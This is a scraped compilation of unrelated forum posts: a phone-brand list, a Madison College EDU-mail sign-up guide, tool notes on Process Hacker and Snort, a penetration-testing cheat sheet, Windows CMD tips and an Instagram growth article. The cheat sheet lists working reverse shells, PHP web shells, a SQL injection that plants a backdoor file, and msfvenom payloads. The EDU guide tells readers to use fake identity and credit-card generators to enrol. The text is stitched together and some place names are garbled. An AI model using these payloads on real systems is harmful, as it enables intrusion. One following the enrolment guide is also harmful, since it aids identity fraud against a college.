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Boycotting china is not supported by Dummieshub, but some members were constantly asking for choosing non chinese smartphones. If I missed some company you can add a comment i will update the list and Thanks in advance.
Some of Apple’s production happens in India as well."Outside China, India is the only country where manufacturing both Moto and Lenovo phones are going on. So you should ask apple store for made in india products.

  • JIO - Indian
  • Apple – American
  • Microsoft Mobile - American
  • Samsung Mobile – South Korean
  • Nokia Mobile – Finnish
  • Google Pixel – American
  • Sony Mobile – Japanese
  • LG – South Korean
  • BLU Products – American
  • lava – Indian
  • Sharp – Japanese
  • Fairphone – Dutch
  • Philips Mobile – Dutch
  • Yotaphone – Russian
  • BQ – Spanish
  • Acer – Taiwanese
  • Asus – Taiwanese
  • HTC – Taiwanese
  • Iball - Indian
  • Xolo - Indian

Based on above list here are some non chinese smartphones:
  • ASUS ROG Phone II (Taiwan)
  • LG G8X ThinQ (South Korea)
  • LG Stylo 5 (South Korea)
  • LG V60 ThinQ (South Korea)
  • Moto G Stylus (India)
  • Samsung Galaxy Z Flip (South Korea)
  • Samsung Galaxy Note 10/10 Plus (South Korea)
  • Samsung Galaxy S10 series (South Korea)
  • Samsung Galaxy S20 series (South Korea)
  • Sony Xperia 1 II (Japan)

Madison Community College EDU-mail application, desktop version with office365 second batch of Madison Area Technical College
2018-08-27 Reading (7355) Category: Education Offers


School Profile
Madison District Technical College ( Madison College ) It serves some students from 12 counties in central and southern Wisconsin: Adams, Columbia, Dane, Dodge, Green, Iowa, Jefferson, Juneau, Marquette, Ridge Lan, Locke and Sauk. The campus location includes several districts throughout Madison City and four districts in the city Ritzburg, Watertown, Atkinson Castle and Portage.

It is the largest of the 16 schools in the Wisconsin Institute of Technology system, serving 5,392 full-time and 10,747 part-time students in 2012.

Application email
Application address: https://my.madisoncollege.edu/app/profile/search

American Information Acquisition Address: Virtual Identity / Credit Card Generation

Enter the date of birth and name first, then search



The system will prompt that the existing account cannot be found. If you think you have an account, please modify your search or call 608-246-6210. Otherwise create an account.

Click create account to create a new account, fill in the content with * as required ( note that there is a Google verification code, a ladder is required, and you will solve it yourself )





After completing the information, click Continue, and then fill in the account password and account security questions and answers (the account password is the login password of the EDU mailbox, do not fill in at random and cause the password to be forgotten)



After filling in, click Create Account to apply for an account, at this time you can see the student number and user name

Email address is your [email protected]

The password is the password set when creating the account above. Finally, go to outlook.office.com to log in to your mailbox. The mailbox is hosted in office365 and supports the installation of the desktop version of office365.

Precautions
For newly registered EDU mailboxes, you need to wait 1 to 2 hours before logging in, otherwise you will be prompted to find the tenant or log in the next day after applying.
[align=start][font][font]Madison District Technical College[/font][font][font] ( [/font][/font][font][font]Madison College[/font][/font][font][font] ) It serves some students from 12 counties in central and southern Wisconsin: Adams, Columbia, Dane, Dodge, Green, Iowa, Jefferson, Juneau, Marquette, Ridge Lan, Locke and Sauk. [/font][font]The campus location includes several districts throughout Madison City and four districts in the city Ritzburg, Watertown, Atkinson Castle and Portage.[/font][/font][/font][/align]
[align=start][font][font]It is the largest of the 16 schools in the Wisconsin Institute of Technology system, serving 5,392 full-time and 10,747 part-time students in 2012.[/font][/font][/align]
[font][font]Application email[/font][/font]
[align=start][font][font]Application address:  [/font][font][font]https://my.madisoncollege.edu/app/profile/search[/font][/font][/font][/align]
[align=start][font][font]American Information Acquisition Address:  [/font][font][font]Virtual Identity / Credit Card Generation[/font][/font][/font][/align]
[align=start][font][font]Enter the date of birth and name first, then search[/font][/font][/align]
[align=start][Image: TB16VmOKf5TBuNjSspcXXbnGFXa_640x640][/align]
[align=start][font][font]The system will prompt that the existing account cannot be found. [font]If you think you have an account, please modify your search or call 608-246-6210. [/font][font]Otherwise create an account.[/font][/font][/font][/align]
[align=start][font][font]Click create account to create a new account, fill in the content with * as required ( [/font][font][font]note that there is a Google verification code, a ladder is required, and you will solve it yourself[/font][/font][font][font] )[/font][/font][/font][/align]
[align=start][Image: 005GPZiSgy1fuo4mavgg5j30x10pgabp.jpg][/align]
[align=start] [/align]
[align=start][font][font]After completing the information, click Continue, and then fill in the account password and account security questions and answers (the account password is the login password of the EDU mailbox, do not fill in at random and cause the password to be forgotten)[/font][/font][/align]
[align=start][Image: 005GPZiSly1fuo571e1arj30wr0heta5.jpg][/align]
[align=start][font][font]After filling in, click Create Account to apply for an account, at this time you can see the student number and user name[/font][/font][/align]
[align=start][font][font]Email address is your [/font][font][font][email protected][/font][/font][/font][/align]
[align=start][font][font]The password is the password set when creating the account above. [font]Finally, go to outlook.office.com to log in to your mailbox. The mailbox is hosted in office365 and supports the installation of the desktop version of office365.[/font][/font][/font][/align]
[font][font]Precautions[/font][/font]
[align=start][font][font]For newly registered EDU mailboxes, you need to wait 1 to 2 hours before logging in, otherwise you will be prompted to find the tenant or log in the next day after applying.[/font][/font][/align]

A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. "
 
Process Hacker- this is a professional set of OS management tools working with the kernel through the Native API (kernel API) designed to manage processes and their flows, control computer memory usage, disk and network activity, manage state and parameters, install and uninstall services and drivers, can release blocked by others processes, to be used as a kernel level debugger and to search for some types of rootkits and other hidden processes, to delete suspended or protected processes that cannot be deleted by other tools (some of its features may not be available due to OS limitations or insufficient user privileges).
 
Note  [?]
 
Current stable version : v2.39 dated 03/29/2016
In development: v3.00 , we look at source codes on GitHub .

Note: source codes in the repository do not include all patches! Look for custom patches in a forum, topic, or on Git. Their use is entirely at your discretion and risk!
 
Downloads :
 
1.xx (MS .NET Framework 2.x is required for work) | 2.xx :   Setup (EXE) | Portable (Zip) | Source (Zip) | SDK (Zip) | Debugging Tools for Windows - link to the MSDN page for downloading the necessary kernel level debugger engine built into the program. About the system dbghelp.dll  [?] .
 
Test builds :
 
Development build  [?]
.

  • Official Nightly Builds - installer, Zip, SDK, sources. They are collected automatically after a new commit appears on GitHub in the master branch and they do not include Plugins-Extra [sup]*[/sup] (experimentally may include their 32-bit editions), the server may not have the latest version.
     
    System requirements :
     
    RAM : ~ 30Mb of memory  [?]
    CPU : up to 64 processors  [?]
     
    The minimum version of the operating system depends on the version of Process Hacker :
     
    3.xx - Windows 7 / Server 2008 R2 and higher, 32/64-bit edition ,
    2.39- Windows Vista / Server 2008, 32/64-bit editions, operations using the kernel level driver are available in Windows 7 and higher
    2.xx - up to v2.38 inclusive - Windows XP SP2 / 2003 and higher, 32/64-bit editions,
    1.xx - Windows 2000 and higher, requires MS .NET Framework v2.0, only 32-bit
     

  • IMPORTANT!
     
    To switch Process Hacker to " Portable mode " (the settings are stored in the Process Hacker directory) before its first launch, next to ProcessHacker.exe, we create the ProcessHacker.exe.settings.xml and usernotesdb.xml files .
     
     
    ATTENTION! Be sure to carefully read the documentation that is on the site and in the archives with the distribution! The program was originally created for professionals, and therefore requires a fairly high level of knowledge from the user!
     


ERROR: Invalid argument: preprocessor Fatal Error, Quitting.. can be solved by ommiting extra \ 

Code:
 
# SSH anomaly detection.  For more information, see README.ssh
preprocessor ssh: server_ports { 22 } \
                  autodetect \
                  max_client_bytes 19600 \
                  max_encrypted_packets 20 \

so that it looks like 
Code:
# SSH anomaly detection.  For more information, see README.ssh
preprocessor ssh: server_ports { 22 } \
                  autodetect \
                  max_client_bytes 19600 \
                  max_encrypted_packets 20
The next error i encountered was "Snort\rules\white_list.rules, Error: No such file or directory
Fatal Error, Quitting..". To solve this issue create a file called white_list.rules & blacklist.rules if they don't exist.
 
Code:
   whitelist $WHITE_LIST_PATH\white_list.rules, \
   blacklist $BLACK_LIST_PATH\blacklist.rules 

For those who don't know what is snort:
Snort is a free open source network intrusion detection system and intrusion prevention system. If you want to know more about snort just leave a comment.

Free Cyber Security Courses and Training Material
[Image: pixel.png]Cloud Security

Industrial Controls  Firewall & Network Security Vulnerability Assessment Penetration Testing Linux Endpoint Protection Digital Forensics Other CyberSecurity Courses

Enumeration
Enumeration is the most important thing you can do, where you find
yourself hitting a wall, 90% of the time it will be because you haven’t
done enough enumeration.
Below are commands which are helpful while you are in the lab:
Nmap
Quick TCP Scan

Code:
nmap -sC -sV -vv -oA quick target
Quick UDP Scan
Code:
nmap -sU -sV -vv -oA quick_udp target
Full TCP Scan
Code:
nmap -sC -sV -p- -vv -oA full target
Port knock
Code:
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-
retries 0 -p $x target; done
Web Scanning
Gobuster quick directory busting
Code:
gobuster -u target -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux

Gobuster search with file extension
Code:
gobuster -u target -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux -x .txt,.php
Nikto web server scan
Code:
nikto -h target
Wordpress scan
Code:
wpscan -u target/wp/
Port Checking
Netcat banner grab
Code:
nc -v target port
Telnet banner grab
Code:
telnet target port
SMB
SMB Vulnerability Scan
Code:
nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse target
SMB Users & Shares Scan
Code:
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse target
Enum4linux
Code:
enum4linux -a target
Null connect
Code:
rpcclient -U "" target
Connect to SMB share
Code:
smbclient //MOUNT/share
SNMP
SNMP enumeration
Code:
snmp-check target
Reverse Shells
Bash shell
Code:
bash -i >& /dev/tcp/target/4443 0>&1
Netcat Linux
Code:
nc -e /bin/sh target 4443
Netcat Windows
Code:
nc -e cmd.exe target 4443
Python
Code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("target",4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
Code:
perl -e 'use
Socket;$i="target";$p=4443;socket(S,PF_INET,SOCK_STREAM,getproto
byname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN
,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Remote Desktop
Remote Desktop for windows with share and 85% screen
Code:
rdesktop -u username -p password -g 85% -r disk:share=/root/ target
PHP
PHP command injection from GET Request
Code:
<?php echo system($_GET["cmd"]);?>
#Alternative
Code:
<?php echo shell_exec($_GET["cmd"]);?>
Powershell
Non-interactive execute powershell file
Code:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File file.ps1
SSH Tunneling / Pivoting
shuttle
sshuttle -vvr [email protected] 10.1.1.0/24
Local port forwarding
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
Remote port forwarding
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Dynamic port forwarding
ssh -D <local proxy port> -p <remote port> <target>
Plink local port forwarding
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
SQL Injection
# sqlmap crawl
sqlmap -u http://target --crawl=1
# sqlmap dump database
sqlmap -u http://target --dbms=mysql --dump
# sqlmap shell
sqlmap -u http://target --dbms=mysql --os-shell
Upload php command injection file
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into
OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
Load file
union all select
1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
Bypasses
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -
Brute force
John the Ripper shadow file
$ unshadow passwd shadow > unshadow.db
$ john unshadow.db
# Hashcat SHA512 $6$ shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username
#Hashcat MD5 $1$ shadow file
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
# Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
# Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
# Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
RDP user with password list
ncrack -vv --user offsec -P passwords rdp://target
SSH user with password list
hydra -l user -P pass.txt -t 10 target ssh -s 22
FTP user with password list
medusa -h target -u user -P passwords.txt -M ftp
MSFVenom Payloads
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=target
LPORT=4443 -f raw -o shell.php
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=target LPORT=4443 -f war
-o shell.war
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b
"\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=target LPORT=4443 -
f elf -o shell.elf
# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=target
LPORT=4443 -e x86/shikata_ga_nai -f c
# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=target LPORT=4443 -
e x86/shikata_ga_nai -f exe -o non_staged.exe
# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=target
LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=target LPORT=4443
EXITFUNC=thread -f python -o shell.py
# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=target LPORT=4443 -
f asp -e x86/shikata_ga_nai -o shell.asp
# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=target
LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=target LPORT=4443 -
f js_le -e generic/none -n 18
# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=target LPORT=4443 -
e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=target
LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e
x86/shikata_ga_nai
# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=target
LPORT=4443 -f exe -o shell.exe
# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=target LPORT=4443 -
f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-
binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Interactive Shell
Upgrading to a fully interactive TTY using Python
# Enter while in reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

File Transfers
HTTP
The most common file transfer method.
# In Kali
python -m SimpleHTTPServer 80
# In reverse shell - Linux
wget target/file
# In reverse shell - Windows
powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://target/file.exe','C:\Users\
user\Desktop\file.exe')"
FTP
This process can be mundane, a quick tip would be to be to name the
filename as ‘file’ on your kali machine so that you don’t have to re-write
the script multiple names, you can then rename the file on windows.
# In Kali
python -m pyftpdlib -p 21 -w
# In reverse shell
echo open target > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -v -n -s:ftp.txt
TFTP
Generic.
# In Kali
atftpd --daemon --port 69 /tftp
# In reverse shell
tftp -i target GET nc.exe

Microsoft has cleverly placed Command Line next to the default Windows interface. Although CMD is considered an old, relatively unnecessary text-based tool, it's still not without reason for Microsoft to do so.

However, there are still CMD commands that are still in use, even with new features added to Windows 8. In this article, we'll look at some of the commands you'll need as a Windows user.

ASSOC

Most files in Windows are associated with a specific software, meaning that for each file type, a software is assigned to run the files by default. Sometimes remembering these connections can be a little confusing. As a reminder, you can use the "assoc" command to display a complete list of the types of files and software associated with it.

You can also use this command to change the software associated with a particular format. For example, by using the phrase “assoc.txt =” you can change the software for opening text files to a custom software that you enter after the equal sign. The ASSOC command also specifies both the file format name and the software name, which will help you use it correctly.

Cipher

Deleting files on the hard drive will not completely erase them. Instead, the files will be inaccessible and the space they occupy will be shown to you as free space. These files can be recovered as long as they are replaced with new data.
However, the Cipher command can clear it by writing random data on a specific path, that is, it will completely erase the files that you deleted but are still on disk. For example, to clean the C drive, you can use the "cipher / w: c" command. This command does not apply to deleted files, so your essential files will not be deleted using this command.

 

Driverquery

Drivers are one of the most important software installed on a PC. Improper configuration or removal can cause a variety of problems, so it would be great if we could access the list of all drivers installed on the PC. This is exactly what the driverquery command does for you. You can also expand this command to "driverquery -v" to show you more information, such as the driver installation path.

File Compare

This command can be used to identify differences between two text files and will be very useful for writers and programmers who want to make small changes between two different versions of a file. To use, type "fc" and then enter the path and name of the files you want to compare.

 

You can also expand this command in different ways. Using "/ b", only binary outputs are compared. Using “\ c”, the type of text is overlooked in comparison, and using “/ l”, only ASCII texts are compared in two posts.

 

So, for example, by writing the following command, ASCII texts will be compared in two posts with the specified addresses:

“Fc / l“ C: \ Program Files ( x86 ) \ example1. doc ”“ C: \ Program Files ( x86 ) \ example2. doc ”  
 

 

Ipconfig

This command will display the current IP address that the computer is using. However, if your computer is connected to a router (like most current computers), you will receive a local router network address instead.

 

However, ipconfig can still be useful. Using the "ipconfig / release" command after the "ipconfig / renew" command can force Windows to request a new IP. You can also use the "ipconfig / flushdns" command to refresh your DNS address.

 

Netstat
Entering the "netstat -an" command will show you a list of open ports and their IP Addresses.
You can also see what position the port is in: Listening, Established, or Closed. You can use this command to identify devices that are connected to a PC. You can also use this command to specify suspicious connections if you suspect viruses or trojans.

 

Ping

Sometimes you need to know whether data packets are exchanged between a specific device on the network or not. This is where ping can be useful. By typing "ping" and then an IP address or Web Domain, a number of data packets are sent experimentally to the specified address. If the data reaches that address and then returns, you can see that the device is communicating properly with your PC, but if this sending and receiving is not successful, it becomes clear that something is preventing the connection between your device and your computer.

Pathping
This command is a more advanced version of the Ping command. This command will be useful when there are multiple routers between your PC and the device you want to test. Like Ping, you can use this command by typing "pathping" and then the IP address you want. Routing also gives you more information about the route and data transmission.

 

Tracert

The "tracert" command is similar to pathping. To use, enter the phrase "tracert" and then the IP address or domain you want to track. It will then display complete information about each step taken (such as passing routers) on the path between your PC and the destination. Also, the tracert command measures the amount of jump time between different servers or devices (in milliseconds).

Powercfg
Powercfg is a very powerful command that you can use to track and manage how your computer uses energy. You can manage Hibernate operations by entering "powercfg / hibernate on" and "powercfg / hibernate off". With “powercfg / a” you can see the different energy storage modes on your PC.

 

Another application is "powercfg / devicequery s1_supported", which displays a list of devices connected to a computer that have the ability to standby while connected (Connected Standby).
The "powercfg / lastwake" command indicates which device last took your PC out of Sleep mode.

You can also use the "powercfg / energy" command to create an accurate report of your PC's power consumption. The path to save this report is displayed after the operation.
In Windows 8, a new extension has been added for this command. By entering the command "powercfg / batteryreport", you will be given a detailed analysis of battery consumption. The output of this analysis, which is normally stored in the Windows User path, includes information about the time and amount of charge and discharge cycles, average battery life, and battery capacity estimation.

 

Shutdown
in Windows 8 and 8.1 There is now a Shutdown command that turns off the computer as its name implies. Of course, you might think that despite the Shutdown button, which is easily accessible, this is an additional command. But don't forget that by typing "shutdown / r / o", your computer will restart, and after restarting, the Advanced Start Options menu will appear, where you can access Safe Mode and Windows Recovery tools.

 

System File Checker
System File Checker is an automated scanning and repair tool that focuses on Windows system files. To use this command, you must first run CMD under Administrator and then enter the command "sfc / scannow". If a corrupted or lost file is detected in the scan, it will be automatically replaced with previous, healthier copies of the same file that is stored by Windows for this purpose.

Recovery Image

Most computers running Windows 8 or 8.1 come with a Recovery Image from the factory, but that Image may have Bloatware, so you don't want to use it again. After uninstalling it, you can create another image using the "recimg" command. Remember that you must run CMD under Administrator to use this command. By entering this command, a complete description of how to use it is displayed.

Tasklist

The tasklist command can show you a list of all the tasks running on your PC at that moment. Of course, with Task Manager, this command may seem a bit extra, but sometimes it shows Tasks that are hidden in the Task Manager and are not displayed.

The "tasklist-svc" command displays the services for each task, and the "tasklist -v" command provides you with more details about each task. You can also use the tasklist -m command to identify dll files associated with active tasks.

 

Taskkill
Tasks that are displayed using the "tasklist" command have an executable file and a Process ID (a 4-digit number) associated with them. You can prevent a program from running and close it by entering the "taskkill -im" command, followed by the name of the executable file, or the "taskkill -pid" command, followed by the desired Process ID number. Again, with Task Manager, this section may not be very useful, but you may be able to use it to close some running applications.

The conclusion of this article does not cover all existing CMD commands. In fact, if we consider their variables, we can say that there are hundreds of different commands, most of which are no longer useful, because they have been replaced by different menus and options in the Windows user interface (GUI), or they are not very useful

Given the importance of these algorithms, many page managers on Instagram are now looking for algorithms. But don't forget that Instagram changes its algorithms every year. For example, you may be able to increase the number of your followers in 2018 with some techniques. But in 2020, those algorithms may become obsolete and even close your screen.

For example, in 2018, you could increase the number of your followers by repeatedly following celebrities who had a blue tick next to their name. But the law was repealed in 2020, and if you try too hard this time around, Instagram will block your page altogether. So it is better to get acquainted with the 2020 Instagram algorithms. Without these algorithms, only 10% of current followers work on the page. But to attract more views and be seen in the Instagram Explorer section, it is necessary to be familiar with the 2020 Instagram algorithms.

One of the 2020 Instagram algorithms is the importance of content
One of the Instagram algorithms in 2020 depends on how much the followers care about your posts. When a large number of current page followers like or comment on a piece of content, it means that your content has been liked by them. Instagram takes advantage of the large number of likes that the content has attracted more people and therefore can be liked by other users. So it is displayed in the Explorer section so that many users can watch it.

This algorithm helps you to publish quality content faster on Instagram. But don't think that you have to collect likes at any cost. Rather, you need to focus on the content that your followers like the most and engage their minds with. Based on the information obtained, it has been determined that Instagram prioritizes photos and videos on the feed (Instagram home page) based on the level of interest of the followers.

Following these changes, businesses looking to increase followers and engage on Instagram have had a lot of problems. Because at first they were not familiar with this algorithm. If your new posts have dropped a lot recently, it could be because the content doesn't matter and you don't like it. But the good news is that you can now upgrade your Instagram page. It is better to spend more time producing content.

Send more posts during the day
Another Instagram algorithm for 2020 is sending more posts during the day. When you publish more posts on your page, it's a sign that your interaction with your followers is improving. That's why Instagram considers it a good sign. On the other hand, by posting more content, it is more likely that more followers will see the content.

"If you post a lot of content for a long time, your audience is likely to get more," explains Neil Patel, a social media expert. "But if you just want to reduce the number of submissions in just a few weeks, your page will drop drastically and you will lose a lot of your followers."

This algorithm tells you that one of the best ways to increase page performance is to post to Instagram. Of course, the 2020 Instagram algorithms also pay a lot of attention to the type of content. Instagram focuses on content that matches your business theme. Some big brands like GoToSkincare can publish content on their page in 3 days thanks to a specialist media team, but they are still going strong. But for start-ups and small businesses, it's best to consider more than three posts.

Order is important in posting content
Another Instagram algorithm for 2020 is regular content publishing. All photos and videos must be posted on Instagram. Scheduling involves a specific amount of time to post and consider appropriate descriptions and hashtags for the content. Not only does this keep your work organized, but the followers will also notice that you are publishing content at certain times, so they will be on the page at the same time.

You can automatically use special programs to publish content. PLUS, for example, is used to automatically publish content. With the help of this program, you do not need to be constantly online on Instagram. Instead, you can plan and publish the content.

Significance depends on the size of the reaction on the content
Another Instagram algorithm for 2020 is to increase the number of comments about content. The more followers follow about a content, the more Instagram sees it as a sign of improvement. So content under which there is a lot of interaction is given priority by Instagram. Of course, as long as you respond to the followers' comments so that the interaction between you and them increases.

Of course, it's a little difficult to respond to some comments, especially about old posts. If you can't answer all the comments, answer them as one heart. Instagram provides new features for page managers so that they can interact more easily with their followers. Among the effective methods for communicating with followers are the following:

Turn on Comment Announcements
A great way to keep track of new followers is to turn on comments. In this case, as soon as you leave a comment, you will notice and respond to it. To do this, go to "notifications" and then click on 'Off'.

Use the PLUS program
With the PLUS program, comments appear on the desktop screen. If you are connected to Facebook, you can connect Instagram Direct to Instagram Messenger to answer questions while on Facebook.

Use the LATER program
It saves you time with LATER. You can use a computer instead of a cell phone and even see all your conversations and interactions with users. You can choose a specific time to respond to followers' comments. So enter your answer and specify the time. Then click the response button to publish the response at the appointed time.

By responding to users, not only do you get them interested in your page, but you also respond positively to Instagram's 2020 algorithms, increasing your chances of increasing the number of post views.

The best time to post
Another of the most important 2020 Instagram algorithms is sending content at the right time. Instagram users often log on to this network at certain times. For example, they have more opportunities to access Instagram during the holidays. Instead, on weekdays (such as Saturday mornings) they have less time to stay on Instagram. They are also more on Instagram at certain times.

For example, users are more likely to be on Instagram at 9 p.m. Because they have less work to do at this time. Also, 9 a.m. and 2 p.m. are more users on Instagram. That's why it's best to publish your content during these hours. By publishing content in the hours when most users are on Instagram, you increase the efficiency of the published content. At this time, the number of visits, likes and comments of followers is higher. At the same time, the number of followers is increasing.

Of course, a good way to find out what times your followers are active is to use Instagram Insights. In this case, you can find the time to activate your audience. Your followers may be online at other times than usual. Knowing when followers are active will help you publish content at the same time.

Instagram's algorithm uses frequency to sort content
How many times do you open Instagram during the day? If you are one of those people who constantly go to the Instagram Explorer section, this network will show you the best posts. Users who rarely log on to Instagram will see what they like.

When your followers have followed a large number of users, they are unable to view all posts. So Instagram chooses what content to view for them. You can ask your followers to turn on your ads. In this case, they are able to view by publishing any content. Otherwise, your content may not be visible at all.

At the top right corner of each post is a 3-dot vertical mark. If you click on it, you can see the option to cancel ignoring unmute. To turn on notifications, followers must click on it. In addition to posts, you can use this feature for all stories.

Calculate the number of users on the page
Another Instagram algorithm for 2020 is to calculate how many followers remain on a post or on a page. When a user spends a lot of time on a page, it means they have better posts to publish. So Instagram considers it a positive.

Instagram pays a lot of attention to users staying in the story, IGTV and home page (feed). When it comes to Instagram algorithms, many people think about published content. While part of the algorithms is dedicated to how long users stay on a post.

Story is an important part of an Instagram page. The feeds in the feed section are one of the most influential parts of a business page. This doesn't happen, even though you've lined up a lot of stories together and want the latest story to get the most views. Some of the higher quality stories are at the top.

You may be wondering how Instagram prefers to prioritize certain stories or posts. This social network has algorithms that detect which stories are being followed by the followers. Visitors' stay time on Instagram is important, and the algorithm recognizes that quality is storytelling.

Here are some tips to help you get the most out of your stories:

Constantly send stories

Many Instagram users care more about stories than posts. So by constantly publishing stories, you can increase your chances of being seen more. Therefore, the Instagram algorithm is inspired by the fact that you care about the quality of content for your audience. A great way to send a story regularly is to schedule it. With some apps, you can preview the content of the story and give it to the app.

To improve story content, you can add subtitles or links to your content. Then select for that time and put it in the program. This saves time.

Don't forget to interact with users

Another important point to have a better story on Instagram is user interaction. Answer them when they give you a message in response to a story. Even if you don't have the opportunity to answer, answer them as a heart sticker. This feature has recently been added to the 2020 Instagram algorithms. It is better to choose stories in which the followers participate. For example, a question could encourage storytellers to interact.

Ask your followers to tap on the story and hold on to it

Another way to increase your viewership is to get help from followers. This technique instills in Instagram that story content is of particular interest to followers. In the content of the first story, it is better to immediately post a photo with this request so that visitors can see it. You can also design the first photo in GIF format and put beautiful labels on it. You can keep the audience in the story by placing attractive songs on the photo or video.

2020 Instagram algorithms on IGTV
IGTV is one of the new features added to Instagram. But many are not yet familiar with this feature. But Instagram considers it an important part of a business page. Instagram prioritizes movies based on the interests and number of people following IGTV. So you can share IGTV videos directly, just like you do with Instagram stories.

There are currently three types of IGTV, including IGTV for yourself, IGTV for popular followers, and IGTV.

IGTVs refer to a group of movies that the page manager is very interested in. For followers, IGTV refers to those movies that are shown to followers. Popular IGTVs also include popular movies that are very popular with users. But the question is, how can IGTV be produced to get more traffic?

If the number of IGTVs increases, it will give Singal‌ 2020 Instagram algorithms. You will release quality videos for your audience that may appeal to other Instagram users.

2020 Instagram algorithms for exploration page
Instagram's exploration page also includes special algorithms. This social network has made a great effort to make this page more attractive to its users. In general, the search and feed pages are very similar, and Instagram gives you content that you think you're interested in. For example, if you post cookbook content on your Instagram page, you can see a lot of posts related to your content in the Explorer section.

When you click on the Explorer page as a user, the content is different from what is shown to your friend. Because the exploration section is designed to help you find what you are looking for.

In early 2020, Instagram categorized many thematic channels so that users could more easily find their interests. One of the 2020 Instagram algorithms is to constantly track users' behaviors to gain information about their interests. For example, what accounts do they follow, what do they type in the search bar, and what posts do they like and comment on? The IGTV videos you follow also provide a lot of information to the Instagram algorithm.

It then arranges the content with information about your interests and provides it to you on the search page. For example, Instagram categories for different pages include Art (Art), Sports (Sports), Beauty or Fashion (Makeup and Beauty), and so on.

So this algorithm can give you a lot of opportunities. So that you can show your posts to interested users by categorizing them. If all of your 2020 Instagram algorithms are met in your content, and at the same time you have specified a category for them, it will be placed on the search page.

To categorize images, you need to select related and uniform hashtags for it. The Instagram algorithm uses hashtags to find out which content falls into a particular category. When users follow a hashtag in the search bar, your content will also be displayed.

Instagram follows a number of criteria for ranking content on a search page, including:

The number of likes and comments a post receives
The popularity of the hashtags you choose for the post.
Post feedback speed
If you are the manager of an important business page, it is better to try to display your page in the Instagram search section. The most important thing is to use hashtags that help categorize your posts.

Don't forget to analyze Instagram
Now that you are familiar with the 2020 Instagram algorithms, you should not forget to analyze and review the Instagram page. Instagram Analytics is a great tool for analyzing and reviewing Instagram business pages. Using all of Instagram's strategies will help you grow your business in the long run with careful planning. At the same time, it saves you time and money. Now, instead of spending a lot of money on ads to increase traffic and page followers, you can take advantage of Instagram's 2020 algorithms.

But Instagram page analytics should also be done alongside algorithms. Analysis will help you figure out which photos, videos, or stories are most welcome. Understanding which content works best will help you generate more such content.

You can use the Insights tool to analyze your Instagram page. This analytics tool can provide you with detailed information about the performance of posts, stories, and IGTV. Just tap on the three dots in the top right corner of your screen and select Insights.

From here, you can go to your Content tab. To see how posts and stories work, you need to select each personal post individually to get information about the number of likes, comments, impressions, or posts stored by users.

If you want to save time, Instagram Analysis will help you produce better content that fits the needs and interests of your followers. You can also find information about your followers in this section. Including age, gender, place of residence, and so on. .

With the new Instagram Analysis feature, you can learn more about how submissions work. At the same time, you'll find out which type of content is most appealing to Instagram. So with this feature, you can optimize your Instagram page and use it in your marketing strategy.

